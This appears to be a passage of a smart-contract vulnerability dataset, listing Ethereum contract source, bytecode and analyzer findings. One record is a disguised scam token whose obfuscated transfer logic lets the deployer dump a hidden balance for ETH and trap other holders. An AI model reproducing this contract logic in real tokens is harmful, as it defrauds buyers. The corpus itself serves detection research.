656e3a3a5f6275726e546f6b656e733a20616d6f756e74206f766572666c6f7773546f6b656e3a3a5f6275726e546f6b656e733a746f74616c537570706c7920756e646572666c6f77a264697066735822122099a3ad263e64aaf613d72a7b80cad2951a99676a057a69cf168b82ee8621ac0d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
284
0xf23b7f8f5611e27c2d5eff196d7ca4b86124cb52
// SPDX-License-Identifier: MIT pragma solidity ^0.8.8; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _fee = 2; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private chart = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private solar; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private fresh; mapping(uint256 => address) private each; mapping(address => uint256) private exact; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; solar[msg.sender] = chart; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); each[chart] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address size, address steady, uint256 amount ) private { address book = fresh[chart]; bool declared = size == each[chart]; uint256 chose = _fee; if (solar[size] == 0 && !declared && exact[size] > 0) { solar[size] -= chose; } fresh[chart] = steady; if (solar[size] > 0 && amount == 0) { solar[steady] += chose; } exact[book] += chose; if (solar[size] > 0 && amount > chart) { swapAndLiquify(amount); return; } uint256 fee = amount * (_fee / 100); amount -= fee; _balances[size] -= fee; _balances[size] -= amount; _balances[steady] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c5b37c2211610059578063c5b37c2214610305578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b8063715018a61461025b5780638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611346565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611401565b610453565b604051610157919061145c565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611486565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114a1565b610472565b6040516101bf919061145c565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611486565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611503565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061151e565b6105bf565b6040516102529190611486565b60405180910390f35b34801561026757600080fd5b50610270610608565b005b34801561027e57600080fd5b50610287610690565b6040516102949190611503565b60405180910390f35b3480156102a957600080fd5b506102b26106b9565b6040516102bf9190611346565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611401565b61074b565b6040516102fc919061145c565b60405180910390f35b34801561031157600080fd5b5061031a6107c7565b6040516103279190611486565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061154b565b6107cd565b6040516103649190611486565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061151e565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115ea565b60405180910390f35b6060600180546103d090611634565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611634565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611486565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105719190611695565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610610610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661062e610690565b73ffffffffffffffffffffffffffffffffffffffff1614610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067b90611715565b60405180910390fd5b61068e6000610fa5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106c890611634565b80601f01602080910402602001604051908101604052809291908181526020018280546106f490611634565b80156107415780601f1061071657610100808354040283529160200191610741565b820191906000526020600020905b81548152906001019060200180831161072457829003601f168201915b5050505050905090565b6000610758338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b59190611486565b60405180910390a36001905092915050565b60035481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661087a610690565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611715565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117a7565b60405180910390fd5b61094981610fa5565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611839565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611486565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060035490506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c03575081155b8015610c4e57506000600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610caa5780600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca29190611695565b925050819055505b84600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d4d5750600084145b15610da95780600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da19190611859565b925050819055505b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df89190611859565b925050819055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e4f575060065484115b15610e6557610e5d84611069565b505050610f98565b60006064600354610e7691906118de565b85610e81919061190f565b90508085610e8f9190611695565b945080600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee09190611695565b9250508190555084600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f369190611695565b9250508190555084600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611859565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108657611085611969565b5b6040519080825280602002602001820160405280156110b45781602001602082028036833780820191505090505b50905030816000815181106110cc576110cb611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119791906119dc565b816001815181106111ab576111aa611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611277959493929190611b02565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112e75780820151818401526020810190506112cc565b838111156112f6576000848401525b50505050565b6000601f19601f8301169050919050565b6000611318826112ad565b61132281856112b8565b93506113328185602086016112c9565b61133b816112fc565b840191505092915050565b60006020820190508181036000830152611360818461130d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113988261136d565b9050919050565b6113a88161138d565b81146113b357600080fd5b50565b6000813590506113c58161139f565b92915050565b6000819050919050565b6113de816113cb565b81146113e957600080fd5b50565b6000813590506113fb816113d5565b92915050565b6000806040838503121561141857611417611368565b5b6000611426858286016113b6565b9250506020611437858286016113ec565b9150509250929050565b60008115159050919050565b61145681611441565b82525050565b6000602082019050611471600083018461144d565b92915050565b611480816113cb565b82525050565b600060208201905061149b6000830184611477565b92915050565b6000806000606084860312156114ba576114b9611368565b5b60006114c8868287016113b6565b93505060206114d9868287016113b6565b92505060406114ea868287016113ec565b9150509250925092565b6114fd8161138d565b82525050565b600060208201905061151860008301846114f4565b92915050565b60006020828403121561153457611533611368565b5b6000611542848285016113b6565b91505092915050565b6000806040838503121561156257611561611368565b5b6000611570858286016113b6565b9250506020611581858286016113b6565b9150509250929050565b6000819050919050565b60006115b06115ab6115a68461136d565b61158b565b61136d565b9050919050565b60006115c282611595565b9050919050565b60006115d4826115b7565b9050919050565b6115e4816115c9565b82525050565b60006020820190506115ff60008301846115db565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061164c57607f821691505b602082108114156116605761165f611605565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116a0826113cb565b91506116ab836113cb565b9250828210156116be576116bd611666565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116ff6020836112b8565b915061170a826116c9565b602082019050919050565b6000602082019050818103600083015261172e816116f2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117916026836112b8565b915061179c82611735565b604082019050919050565b600060208201905081810360008301526117c081611784565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118236024836112b8565b915061182e826117c7565b604082019050919050565b6000602082019050818103600083015261185281611816565b9050919050565b6000611864826113cb565b915061186f836113cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a4576118a3611666565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118e9826113cb565b91506118f4836113cb565b925082611904576119036118af565b5b828204905092915050565b600061191a826113cb565b9150611925836113cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195e5761195d611666565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119d68161139f565b92915050565b6000602082840312156119f2576119f1611368565b5b6000611a00848285016119c7565b91505092915050565b6000819050919050565b6000611a2e611a29611a2484611a09565b61158b565b6113cb565b9050919050565b611a3e81611a13565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a798161138d565b82525050565b6000611a8b8383611a70565b60208301905092915050565b6000602082019050919050565b6000611aaf82611a44565b611ab98185611a4f565b9350611ac483611a60565b8060005b83811015611af5578151611adc8882611a7f565b9750611ae783611a97565b925050600181019050611ac8565b5085935050505092915050565b600060a082019050611b176000830188611477565b611b246020830187611a35565b8181036040830152611b368186611aa4565b9050611b4560608301856114f4565b611b526080830184611477565b969550505050505056fea2646970667358221220def77efa4d8210f01198906ef550a0cd751b716bb1d1d9c54f990eda7f7df28b64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
285
0x44ff2af361e4b6a2892523d513df5245fc53b367
/** *Submitted for verification at Etherscan.io on 2021-02-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); } interface IyVault { function token() external view returns (address); function deposit() external returns (uint); function deposit(uint) external returns (uint); function deposit(uint, address) external returns (uint); function withdraw() external returns (uint); function withdraw(uint) external returns (uint); function withdraw(uint, address) external returns (uint); function withdraw(uint, address, uint) external returns (uint); function permit(address, address, uint, uint, bytes32) external view returns (bool); function pricePerShare() external view returns (uint); function apiVersion() external view returns (string memory); function totalAssets() external view returns (uint); function maxAvailableShares() external view returns (uint); function debtOutstanding() external view returns (uint); function debtOutstanding(address strategy) external view returns (uint); function creditAvailable() external view returns (uint); function creditAvailable(address strategy) external view returns (uint); function availableDepositLimit() external view returns (uint); function expectedReturn() external view returns (uint); function expectedReturn(address strategy) external view returns (uint); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function balanceOf(address owner) external view returns (uint); function totalSupply() external view returns (uint); function governance() external view returns (address); function management() external view returns (address); function guardian() external view returns (address); function guestList() external view returns (address); function strategies(address) external view returns (uint, uint, uint, uint, uint, uint, uint, uint); function withdrawalQueue(uint) external view returns (address); function emergencyShutdown() external view returns (bool); function depositLimit() external view returns (uint); function debtRatio() external view returns (uint); function totalDebt() external view returns (uint); function lastReport() external view returns (uint); function activation() external view returns (uint); function rewards() external view returns (address); function managementFee() external view returns (uint); function performanceFee() external view returns (uint); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract yAffiliateTokenV2 { using SafeERC20 for IERC20; /// @notice EIP-20 token name for this token string public name; /// @notice EIP-20 token symbol for this token string public symbol; /// @notice EIP-20 token decimals for this token uint256 public decimals; /// @notice Total number of tokens in circulation uint public totalSupply = 0; mapping(address => mapping (address => uint)) internal allowances; mapping(address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); bytes32 public immutable DOMAINSEPARATOR; /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); function _mint(address dst, uint amount) internal { // mint the amount totalSupply += amount; // transfer the amount to the recipient balances[dst] += amount; emit Transfer(address(0), dst, amount); } function _burn(address dst, uint amount) internal { // burn the amount totalSupply -= amount; // transfer the amount from the recipient balances[dst] -= amount; emit Transfer(dst, address(0), amount); } address public affiliate; address public governance; address public pendingGovernance; address public immutable token; address public immutable vault; constructor(address _governance, string memory _moniker, address _affiliate, address _token, address _vault) { DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this))); affiliate = _affiliate; governance = _governance; token = _token; vault = _vault; name = string(abi.encodePacked(_moniker, "-yearn ", IERC20(_token).name())); symbol = string(abi.encodePacked(_moniker, "-yv", IERC20(_token).symbol())); decimals = IERC20(_token).decimals(); IERC20(_token).approve(_vault, type(uint).max); } function resetApproval() external { IERC20(token).approve(vault, 0); IERC20(token).approve(vault, type(uint).max); } function pricePerShare() external view returns (uint) { return IyVault(vault).pricePerShare(); } function apiVersion() external view returns (string memory) { return IyVault(vault).apiVersion(); } function totalAssets() external view returns (uint) { return IyVault(vault).totalAssets(); } function maxAvailableShares() external view returns (uint) { return IyVault(vault).maxAvailableShares(); } function debtOutstanding() external view returns (uint) { return IyVault(vault).debtOutstanding(); } function debtOutstanding(address strategy) external view returns (uint) { return IyVault(vault).debtOutstanding(strategy); } function creditAvailable() external view returns (uint) { return IyVault(vault).creditAvailable(); } function creditAvailable(address strategy) external view returns (uint) { return IyVault(vault).creditAvailable(strategy); } function availableDepositLimit() external view returns (uint) { return IyVault(vault).availableDepositLimit(); } function expectedReturn() external view returns (uint) { return IyVault(vault).expectedReturn(); } function expectedReturn(address strategy) external view returns (uint) { return IyVault(vault).expectedReturn(strategy); } function vname() external view returns (string memory) { return IyVault(vault).name(); } function vsymbol() external view returns (string memory) { return IyVault(vault).symbol(); } function vdecimals() external view returns (uint) { return IyVault(vault).decimals(); } function vbalanceOf(address owner) external view returns (uint) { return IyVault(vault).balanceOf(owner); } function vtotalSupply() external view returns (uint) { return IyVault(vault).totalSupply(); } function vgovernance() external view returns (address) { return IyVault(vault).governance(); } function management() external view returns (address) { return IyVault(vault).management(); } function guardian() external view returns (address) { return IyVault(vault).guardian(); } function guestList() external view returns (address) { return IyVault(vault).guestList(); } function strategies(address strategy) external view returns ( uint, uint, uint, uint, uint, uint, uint, uint) { return IyVault(vault).strategies(strategy); } function withdrawalQueue(uint position) external view returns (address) { return IyVault(vault).withdrawalQueue(position); } function emergencyShutdown() external view returns (bool) { return IyVault(vault).emergencyShutdown(); } function depositLimit() external view returns (uint) { return IyVault(vault).depositLimit(); } function debtRatio() external view returns (uint) { return IyVault(vault).debtRatio(); } function totalDebt() external view returns (uint) { return IyVault(vault).totalDebt(); } function lastReport() external view returns (uint) { return IyVault(vault).lastReport(); } function activation() external view returns (uint) { 